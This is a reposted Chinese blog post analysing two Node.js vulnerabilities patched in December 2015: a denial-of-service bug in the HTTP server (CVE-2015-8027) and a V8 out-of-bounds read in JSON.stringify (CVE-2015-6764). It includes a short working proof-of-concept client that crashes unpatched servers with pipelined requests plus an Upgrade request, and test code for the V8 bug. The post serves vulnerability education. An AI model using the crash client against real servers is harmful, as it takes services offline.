转载

Node.js 2015-12-04 漏洞浅析

Node.js 在 4 号放出了一个重要的更新,看了下 更新日志 ,主要修复的是一些安全性的漏洞,包括 CVE-2015-8027 和 CVE-2015-6764 这两个漏洞,影响版本还是比较多的,v5.1.0、v4.2.2、v0.12.8 及以下都有波及。在更新发布后,简单看了下漏洞的细节,在这里简单介绍下。

CVE-2015-8027 Denial of Service Vulnerability

这个漏洞看起来应该是 Node.js 开发者书写时的疏忽,在调用 parser.pause 方法时,没有判断 parser 是否存在,导致在特定情况运行时底层抛出 Type Error 错误,使进程崩溃。

主要涉及到下面的几个关键字:

  • highWaterMark
  • http method: UPGRADE
  • response 处理

highWaterMark

它是一个在创建流时可以修改大小的参数,作用跟字面意思差不多,高水位线。在 Readable Stream 中,用来控制底层读取前缓冲区资源的最多字节数;在 Writable Steam 中,用来控制写入时待处理缓冲区中最多存放的字节数。超过这个值时,会将 Steam 置为 pause 状态,这个操作便是触发这个漏洞的关键。看下代码,在 _http_server.js#454 parserOnIncoming 方法中:

function parserOnIncoming(req, shouldKeepAlive) {   ...   if (!socket._paused) {     var needPause = socket._writableState.needDrain ||       outgoingData >= socket._writableState.highWaterMark;     if (needPause) {       socket._paused = true;       socket.pause();     }   }   ... } 

另外,这个值的调整,对 I/O 操作有一定的优化能力。它默认的值是 16KB,对于对象流则为 16。如果这个值设置的过小,会导致系统调用过于频繁;如果设置过大,那么会导致资源分配的浪费,所以修改需要谨慎。

UPGRADE

这是一个 HTTP/1.1 标准中提出的一种头部方法。当客户端发送 UPGRADE,并指定其他的通讯协议,如果服务器支持,则必须返回 101,并且将通讯协议进行转换。那么为什么它会用来触发这漏洞呢?

因为在 http server 升级协议时,会把当前用到的 parser 释放掉,导致 socket.parser 就变成了 null,自然在后面调用时就会出错。具体代码位置在 _http_server.js#371 onParserExecuteCommon 方法中:

function onParserExecuteCommon(ret, d) {   if (ret instanceof Error) {     debug('parse error');     socket.destroy(ret);   } else if (parser.incoming && parser.incoming.upgrade) {     ...     parser.finish();     freeParser(parser, req, null);     parser = null;     ...   }    //修正前:   //if (socket._paused) {   if (socket._paused && socket.parser) {     debug('pause parser');     socket.parser.pause();   } } 

所以,它就成了触发条件。

你可能会想,我的应用中没有用到 UPGRADE 方法,应该不会有影响吧?这其实跟你的应用中是否用了 UPGRADE 没有什么关系,这是在底层处理收到请求的过程中发生的错误,还没有到应用代码执行的层面,所以不是应用可控的。即使你监听了 upgrade 事件,它也是异步的,而且你也只是处理是否接受 UPGRADE 以及后续处理(比如:切断连接)的问题,一样会触发报错。

Response 处理

Node.js 在处理 Http 请求的响应时,使用了一个 outgoing 数组。在请求进来时,会创建一个 ServerResponse 对象,并将它 pushoutgoing 数组中。当响应内容过多时,会发生排队的情况,当数据量超过 highWaterMark 时,就会导致 socket 的 pause。这里面涉及到的更多的内容,以后再细说。这部分相关代码,在 _http_server.js#454 parserOnIncoming :

function parserOnIncoming(req, shouldKeepAlive) {   ...   var res = new ServerResponse(req);   res._onPendingData = updateOutgoingData;   ...   if (socket._httpMessage) {     outgoing.push(res);   } else {     res.assignSocket(socket);   }   ... } 

实战

根据上面的介绍,可以看到,这个漏洞的触发过程大致如下:

  1. 向服务端快速的发送大量请求,使服务端对应 socket 触发 pause 状态。
  2. 发送 UPGRADE 请求,触发服务端进入 upgrade 处理。

我们先来写一个 server,当有请求来的时候,会写一个大小 1024 的 Buffer,这个大小随你控制,用 1024 比较好计算。

'use strict'; const http = require('http'); const PORT = 8989; const chunk = new Buffer(1024);  chunk.fill('X');  var server = http.createServer(function(req, res) {     res.end(chunk); }).listen(PORT); 

接下来写一个 client,用来发送请求,这里我们使用 net 模块来连接服务器并传输数据。在 client 里,要快速的发送请求,因为默认的 highWaterMark 大小是 16KB,所以我们发送 17 次请求,这样刚好超过它,触发 socket 的 pause 状态。然后发送一个 UPGRADE 请求,这样就会触发漏洞,导致服务器崩溃,具体代码如下:

'use strict';  const net = require('net');  var socket = net.connect(8989);  for (var i = 0; i < 17; i ++) {   socket.write('GET / HTTP/1.1/r/n/r/n'); }  socket.write(   'GET / HTTP/1.1/r/nConnection: upgrade/r/nUpgrade: ws/r/n/r/n' ); 

Node.js 2015-12-04 漏洞浅析

一般 Node.js 应用会返回页面,这个也要写入 Buffer 的,所以也会出现写入超量的问题。用上面的代码测试了几个未升级的应用,会导致应用进程退出,但线上应用一般会有进程守护,所以在量小的情况下,影响还可控。如果量很大,即使应用不会退出,但 worker 进程一直重启,应用的状态也不会良好。

另外,也可以在 Nginx 层面对连入请求进行过滤,是可以保护后面的 Node.js 应用的。

注意:请勿乱用

CVE-2015-6764 V8 Out-of-bounds Access Vulnerability

这是 V8 的一个 bug,跟 Node.js 的实现并没有关系,它涉及到的方法是 JSON.stringify 。在这个方法的实现中,会用到被转换对象的 getter 和 toJSON 两个方法,如果我们重载了对象的这两个方法,那么就会影响到转换的结果。对于数组来说,如果在其中改变了数组的长度,那么最后结果会发生什么呢?先来看个例子:

var array = []; for (var i = 0; i < 10; i++) array[i] = i; var obj = {   toJSON: function() {     array.length = 1;     return 'obj';   } }; array[0] = obj; JSON.stringify(array); 

这段代码在这个漏洞没有修复之前,运行结果类似这种:

'["obj",null,128,3,4,5,6,7,8,9]' 

显然,这个结果是错误的,因为 array 的长度变成了 1,后面的内容就不应该出现了。在这个 bug 修复后的执行结果是这样的:

'["obj",null,null,null,null,null,null,null,null,null]' 

同样的,重载 getter 方法:

var array = []; for (var i = 0; i < 10; i++) array[i] = i; var obj = {   get value() {       array.length = 1;       return "obj";   } }; array[0] = obj; JSON.stringify(array); //修复前 '[{"value":"obj"},null,128,3,4,5,6,7,8,9]' //修复后 '[{"value":"obj"},null,null,null,null,null,null,null,null,null]' 

更多测试用例,请看 regress-crbug-554946.js 。

在 V8 这个方法的之前的实现中,只是简单的遍历元素,然后根据对应的类型,进行相应的转换,形成结果。

[76a552]json-stringifier.h#L429
BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(     Handle<JSArray> object) {   ...   uint32_t length = 0;   CHECK(object->length()->ToArrayLength(&length));   builder_.AppendCharacter('[');   Result result = SerializeJSArraySlow(object, length);   ... } 

修正之后,多了对数组类型的判断,根据不同的类型,采取不同的转换方法:

[master]json-stringifier.h#430
BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(     Handle<JSArray> object) {   ...   switch(object->GetElementsKind()) {     case FAST_SMI_ELEMENTS: {       ...     }     case FAST_DOUBLE_ELEMENTS: {       ...     }     case FAST_ELEMENTS: {       Handle<Object> old_length(object->length(), isolate_);       for (uint32_t i = 0; i < length; i++) {         if (object->length() != *old_length ||             object->GetElementsKind() != FAST_ELEMENTS) {           Result result = SerializeJSArraySlow(object, i, length);           if (result != SUCCESS) return result;           break;         }         if (i > 0) builder_.AppendCharacter(',');         Result result = SerializeElement(             isolate_,             Handle<Object>(FixedArray::cast(object->elements())->get(i),                            isolate_),             i);         if (result == SUCCESS) continue;         if (result == UNCHANGED) {           builder_.AppendCString("null");         } else {           return result;         }       }       break;     }     default: {       ...       Result result = SerializeJSArraySlow(object, 0, length);       ...     }  } 

主要是在 FAST_ELEMENTS 这个类型上,它会在遍历是动态的计算数组的长度,如果数组长度发生变化,会根据新的长度,直接运行 SerializeJSArraySlow 方法得到最终结果,否则会一个一个元素的处理。

同时, SerializeJSArraySlow 方法也做了修改,增加了一个参数 start 用来标识遍历的起始值,不会每次都从 0 的位置开始遍历。

总体看来,这个 bug 的触发条件还是挺复杂的,一般很少会遇到。

正文到此结束
Loading...